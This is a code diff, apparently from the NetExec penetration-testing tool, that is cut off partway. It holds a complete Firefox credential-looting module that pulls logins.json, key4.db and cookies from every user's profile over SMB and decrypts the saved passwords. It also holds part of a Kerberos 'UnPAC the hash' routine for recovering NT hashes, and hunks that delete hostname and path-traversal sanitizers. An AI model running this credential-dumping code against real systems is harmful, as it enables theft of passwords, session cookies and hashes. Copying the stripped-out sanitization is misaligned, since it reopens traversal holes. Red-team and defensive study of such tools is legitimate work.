@@ -1,350 +0,0 @@
from base64 import b64decode
from binascii import unhexlify
from hashlib import pbkdf2_hmac, sha1, sha256
import hmac
import json
import ntpath
from os import remove
import sqlite3
import tempfile
from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.network import DPLootConnection
CKA_ID = unhexlify("f8000000000000000000000000000001")
# Constants for different encryption modes
CBC_IV_LENGTH = 16 # AES-256-CBC uses 16-byte IV (Firefox 144+)
DES_IV_LENGTH = 8 # 3DES-CBC uses 8-byte IV (legacy)
@dataclass
class FirefoxData:
winuser: str
url: str
username: str
password: str
@dataclass
class FirefoxCookie:
winuser: str
host: str
path: str
cookie_name: str
cookie_value: str
creation_utc: str
expires_utc: str
last_access_utc: str
class FirefoxTriage:
"""
Firefox by @zblurx
Inspired by firefox looting from DonPAPI
https://github.com/login-securite/DonPAPI
"""
firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
share = "C$"
false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
firefox_data = []
firefox_cookies = []
# list users
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.debug(e)
if directories is None:
continue
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
keys = self.get_all_keys(key4_data=key4_data)
if len(keys) == 0 and self.target.password != "":
keys = self.get_all_keys(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if len(keys) == 0:
continue
for username, pwd, host in logins:
decoded_username = None
password = None
for key in keys:
try:
decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
decoded_username = decrypted_username.decode("utf-8")
decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
password = decrypted_password.decode("utf-8")
break # Success - stop trying other keys
except (UnicodeDecodeError, Exception):
continue
if password is not None and decoded_username is not None:
data = FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
if self.per_secret_callback is not None:
self.per_secret_callback(data)
firefox_data.append(data)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.exception(e)
return firefox_data
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
cookie = FirefoxCookie(
winuser=windows_user,
host=host,
path=path,
cookie_name=name,
cookie_value=value,
creation_utc=creationTime,
last_access_utc=lastAccessed,
expires_utc=expiry,
)
if self.per_secret_callback is not None:
self.per_secret_callback(cookie)
cookies.append(cookie)
return cookies
def get_login_data(self, logins_data):
json_logins = json.loads(logins_data)
if "logins" not in json_logins:
return [] # No logins key in logins.json file
return [
(
self.decode_login_data(row["encryptedUsername"]),
self.decode_login_data(row["encryptedPassword"]),
row["hostname"],
)
for row in json_logins["logins"]
]
def get_key(self, key4_data, master_password=b""):
"""Legacy method - retrieves first available key"""
keys = self.get_all_keys(key4_data, master_password)
return keys[0] if keys else None
def get_all_keys(self, key4_data, master_password=b""):
"""Retrieve all available master keys from NSS database (Firefox 144+ may have multiple)"""
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
try:
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
if not row:
return []
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
if not global_salt:
return []
# Get ALL keys from nssPrivate table (Firefox 144+ may have multiple)
keys = []
cursor.execute("SELECT a11,a102 FROM nssPrivate WHERE a11 IS NOT NULL;")
for row in cursor:
try:
a11 = row[0]
a102 = row[1] # ruff: ignore[unused-variable]
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key is not None and len(key) >= 24:
keys.append(key)
except Exception:
continue
return keys
except Exception as e:
self.logger.debug(f"Error extracting keys: {e}")
return []
finally:
db.close()
fh.close()
try:
remove(fh.name)
except Exception as e:
self.logger.error(f"Error removing temporary file: {e}")
def is_master_password_correct(self, key_data, master_password=b""):
try:
entry_salt = b""
global_salt = key_data[0] # Item1
item2 = key_data[1]
decoded_item2 = decoder.decode(item2)
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
if cleartext_data != b"password-check\x02\x02":
return "", "", ""
return global_salt, master_password, entry_salt
except Exception as e:
self.logger.debug(e)
return "", "", ""
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
return (
asn1data[0][0].asOctets(),
asn1data[0][1][1].asOctets(),
asn1data[0][2].asOctets(),
)
@staticmethod
def decrypt(key, iv, ciphertext):
"""
Decrypt ciphered data (user / password) using the key previously found.
Supports both old format (3DES-CBC) and new Firefox 144+ format (AES-256-CBC).
"""
# Determine encryption method based on IV length
iv_length = len(iv)
# Firefox 144+ uses AES-256-CBC with 16-byte IV
if iv_length == CBC_IV_LENGTH:
return FirefoxTriage.decrypt_aes256_cbc(key, iv, ciphertext)
# Older Firefox uses 3DES-CBC with 8-byte IV
else:
return FirefoxTriage.decrypt_3des_cbc(key, iv, ciphertext)
@staticmethod
def decrypt_aes256_cbc(key, iv, ciphertext):
"""Decrypt using AES-256-CBC (Firefox 144+)"""
# Expand key to 32 bytes using SHA-256 if needed
aes_key = key[:32] if len(key) >= 32 else sha256(key).digest()
cipher = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
# Remove PKCS7 padding
if len(data) > 0:
padding_length = data[-1]
if isinstance(padding_length, str):
padding_length = ord(padding_length)
try:
if padding_length > 0 and padding_length <= 16:
return data[:-padding_length]
except Exception:
pass
return data
@staticmethod
def decrypt_3des_cbc(key, iv, ciphertext):
"""Decrypt using 3DES-CBC (legacy Firefox)"""
# 3DES requires exactly 24-byte keys - truncate if longer
cipher = DES3.new(key=key[:24], mode=DES3.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
nb = data[-1]
if isinstance(nb, str):
nb = ord(nb)
try:
return data[:-nb]
except Exception:
return data
@staticmethod
def decrypt_3des(decoded_item, master_password, global_salt):
"""User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
pes = entry_salt + b"\x00" * (20 - len(entry_salt))
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
return cipher.decrypt(cipher_t)
elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(encrypted_value)
+1 -2
View File
@@ -1,10 +1,9 @@
import os
from termcolor import colored
from nxc.paths import NXC_PATH
def write_log(data, log_name):
logs_dir = os.path.join(NXC_PATH, "logs")
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
+2 -267
View File
@@ -1,16 +1,8 @@
from contextlib import suppress
from enum import Enum
import hashlib
import random
import string
import re
import inspect
import os
from unicodedata import normalize
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
def identify_target_file(target_file):
@@ -29,93 +21,8 @@ def gen_random_string(length=10):
return "".join(random.sample(string.ascii_letters, int(length)))
def sanitize_dns(hostname, logger=nxc_logger):
"""Return an untrusted hostname or domain as a safe, nonempty string."""
# Always provide a safe fallback, even for missing or unstringable input.
if hostname is None:
return "_"
try:
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
except Exception:
return "_"
if not hostname:
return "_"
# Replace path, configuration, formatting, whitespace, and control characters.
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
sanitized = "".join(
character if character.isprintable()
and not character.isspace()
and character not in unsafe_characters
and all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in hostname
)
# Neutralize traversal segments and Windows-trimmed trailing dots.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
sanitized = f"{sanitized[:-1]}_"
# Bound filename length while retaining a stable identifier for long names.
if len(sanitized.encode("utf-8")) > 253:
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > 253 - len(suffix):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{suffix}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > 253
or normalized in (".", "..")
or normalized.endswith(".")
or any(
not character.isprintable()
or character.isspace()
or character in unsafe_characters
or any(
not normalized_character.isprintable()
or normalized_character.isspace()
or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
sanitized = "_"
# Report changed input without allowing logging failures to affect safety.
if sanitized != hostname:
received = ascii(hostname[:256])
result = ascii(sanitized)
if len(hostname) > 256 or len(received) > 256:
received = f"{received[:253]}..."
if len(result) > 256:
result = f"{result[:253]}..."
if logger is not None:
with suppress(Exception):
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
return sanitized
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -133,7 +40,7 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
@@ -170,175 +77,3 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
def get_bloodhound_info():
"""
Detect which BloodHound package is installed (regular or CE) and its version.
Returns
-------
tuple: (package_name, version, is_ce)
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
- version: Version string of the installed package (or None if not installed)
- is_ce: Boolean indicating if it's the Community Edition
"""
import importlib.metadata
import importlib.util
# First check if any BloodHound package is available to import
if importlib.util.find_spec("bloodhound") is None:
return None, None, False
# Try to get version info from both possible packages
version = None
package_name = None
is_ce = False
# Check for bloodhound-ce first
try:
version = importlib.metadata.version("bloodhound-ce")
package_name = "bloodhound-ce"
is_ce = True
except importlib.metadata.PackageNotFoundError:
# Check for regular bloodhound
try:
version = importlib.metadata.version("bloodhound")
package_name = "bloodhound"
# Even when installed as 'bloodhound', check if it's actually the CE version
if version and ("ce" in version.lower() or "community" in version.lower()):
is_ce = True
except importlib.metadata.PackageNotFoundError:
# No bloodhound package found via metadata
pass
# In case we can import it but metadata is not working, check the module itself
if not version:
try:
import bloodhound
version = getattr(bloodhound, "__version__", "unknown")
package_name = "bloodhound"
# Check if it's CE based on version string
if "ce" in version.lower() or "community" in version.lower():
is_ce = True
package_name = "bloodhound-ce"
except ImportError:
pass
return package_name, version, is_ce
def detect_if_ip(target):
try:
ip_address(target)
return True
except Exception:
return False
def d2b(a):
"""
Function used to convert password property flags from decimal to binary
format for easier interpretation of individual flag bits.
"""
tbin = []
while a:
tbin.append(a % 2)
a //= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for _x in range(6 - len(t2bin)):
t2bin.insert(0, 0)
return "".join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
"""
Convert Windows FILETIME (64-bit) values to human-readable time strings.
Windows stores time intervals as 64-bit values representing 100-nanosecond
intervals since January 1, 1601. This function converts these values to
readable format like "30 days 5 hours 15 minutes".
Args:
low (int): Low 32 bits of the FILETIME value
high (int): High 32 bits of the FILETIME value
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
Returns:
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
special values like "Not Set", "None", or "[-] Invalid TIME"
"""
time = ""
tmp = 0
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if low != 0:
high = abs(high + 1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError:
return "[-] Invalid TIME"
if days > 1:
time += f"{days} days "
elif days == 1:
time += f"{days} day "
if hours > 1:
time += f"{hours} hours "
elif hours == 1:
time += f"{hours} hour "
if minutes > 1:
time += f"{minutes} minutes "
elif minutes == 1:
time += f"{minutes} minute "
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
if args.list_modules and args.list_modules.lower() != category.name.lower():
continue
if len([module for module in modules.values() if module["category"] == category]) > 0:
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
for name, props in sorted(modules.items()):
if props["category"] == category:
nxc_logger.display(f"{name:<25} {props['description']}")
class CATEGORY(Enum):
ENUMERATION = "Enumeration"
CREDENTIAL_DUMPING = "Credential Dumping"
PRIVILEGE_ESCALATION = "Privilege Escalation"
-96
View File
@@ -1,96 +0,0 @@
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"dns_hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
def decode_tds_info_error_msgtext(data, offset):
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
TokenType BYTE 0xAA | 0xAB
Length USHORT LE byte count of the remaining fields
Number LONG LE error / info number
State BYTE
Class BYTE severity
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
... (ServerName, ProcName, LineNumber follow but are unused here)
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
Class(1) + MsgText length prefix(2, may be zero-length string).
References (Microsoft Learn, MS-TDS):
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
"""
remaining = len(data) - offset
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
return None
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
if payload_len < 8 or remaining < 3 + payload_len:
return None
try:
token = TDS_INFO_ERROR(data[offset:])
text = token["MsgText"].decode("utf-16le").strip()
except Exception:
return None
return text or None
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
When a server does not support Integrated Windows Authentication it replies
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
(0xAB) token in either the full packet or the payload after the 3-byte
LOGIN7 response header and returns its MsgText.
"""
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
for buf in filter(None, (packet_data, data_after_login_header)):
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
msg = decode_tds_info_error_msgtext(buf, offset)
if msg:
return msg
return None
+34
View File
@@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
-107
View File
@@ -1,107 +0,0 @@
import hashlib
from pathlib import PurePosixPath
import re
from unicodedata import normalize
def sanitize_path_component(name, max_bytes=255):
"""Return one portable, bounded path component from untrusted input."""
# Reserve enough space for one character and the collision-resistant suffix.
if max_bytes < 14:
raise ValueError("max_bytes must be at least 14")
# Always provide a safe fallback, even for missing or unstringable input.
try:
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
except Exception:
name = ""
if not name:
return "_"
# Replace path, control, and Unicode-equivalent metacharacters.
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
sanitized = "".join(
character if character.isprintable()
and character not in unsafe_characters
and all(
normalized_character.isprintable() and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in name
)
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
while sanitized and (
sanitized[-1] == "."
or sanitized[-1].isspace()
or normalize("NFKC", sanitized[-1]).endswith(".")
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
):
sanitized = f"{sanitized[:-1]}_"
# Avoid Windows device names, including names followed by an extension.
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
sanitized = f"_{sanitized}"
# Bound the byte length with a stable digest while preserving short extensions.
if len(sanitized.encode("utf-8")) > max_bytes:
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
extension = ""
extension_index = sanitized.rfind(".")
if (
extension_index > 0
and len(sanitized[extension_index:].encode("utf-8")) <= 32
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
):
extension = sanitized[extension_index:]
sanitized = sanitized[:extension_index]
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{digest}{extension}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > max_bytes
or normalized in (".", "..")
or normalized.endswith(".")
or normalized[-1].isspace()
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
or any(
not character.isprintable()
or character in unsafe_characters
or any(
not normalized_character.isprintable() or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
return "_"
return sanitized
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
-216
View File
@@ -1,216 +0,0 @@
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
#
# References:
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Authors:
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
import base64
import datetime
import os
import random
import tempfile
from binascii import hexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
from impacket.krb5.types import KerberosTime, Principal, Ticket
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH, TMP_PATH
def pkinit_credentials(args):
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
if args.pfx_cert:
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
if args.pem_cert and args.pem_key:
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
return None
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buffers = pac_type["Buffers"]
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buffers)
buffers = buffers[len(info_buffer):]
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
continue
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
cipher = _enctype_table[credential_info["EncryptionType"]]
# Key usage 16: the PAC credential info, encrypted with the AS reply key
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
serialization_header = TypeSerialization1(credential_data)
# Skip the 4 bytes of the ReferentID of the pointer following the header
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
for credential in credentials["Credentials"]:
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
return hexlify(supplemental_credential["NtPassword"]).decode()
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
return None
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
Returns None, after logging why, when the hash cannot be recovered
"""
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
realm = str(decoded_tgt["crealm"])
now = datetime.datetime.now(datetime.UTC)
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = realm
seq_set(authenticator, "cname", client_name.components_to_asn1)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
ap_req = AP_REQ()
ap_req["pvno"] = 5
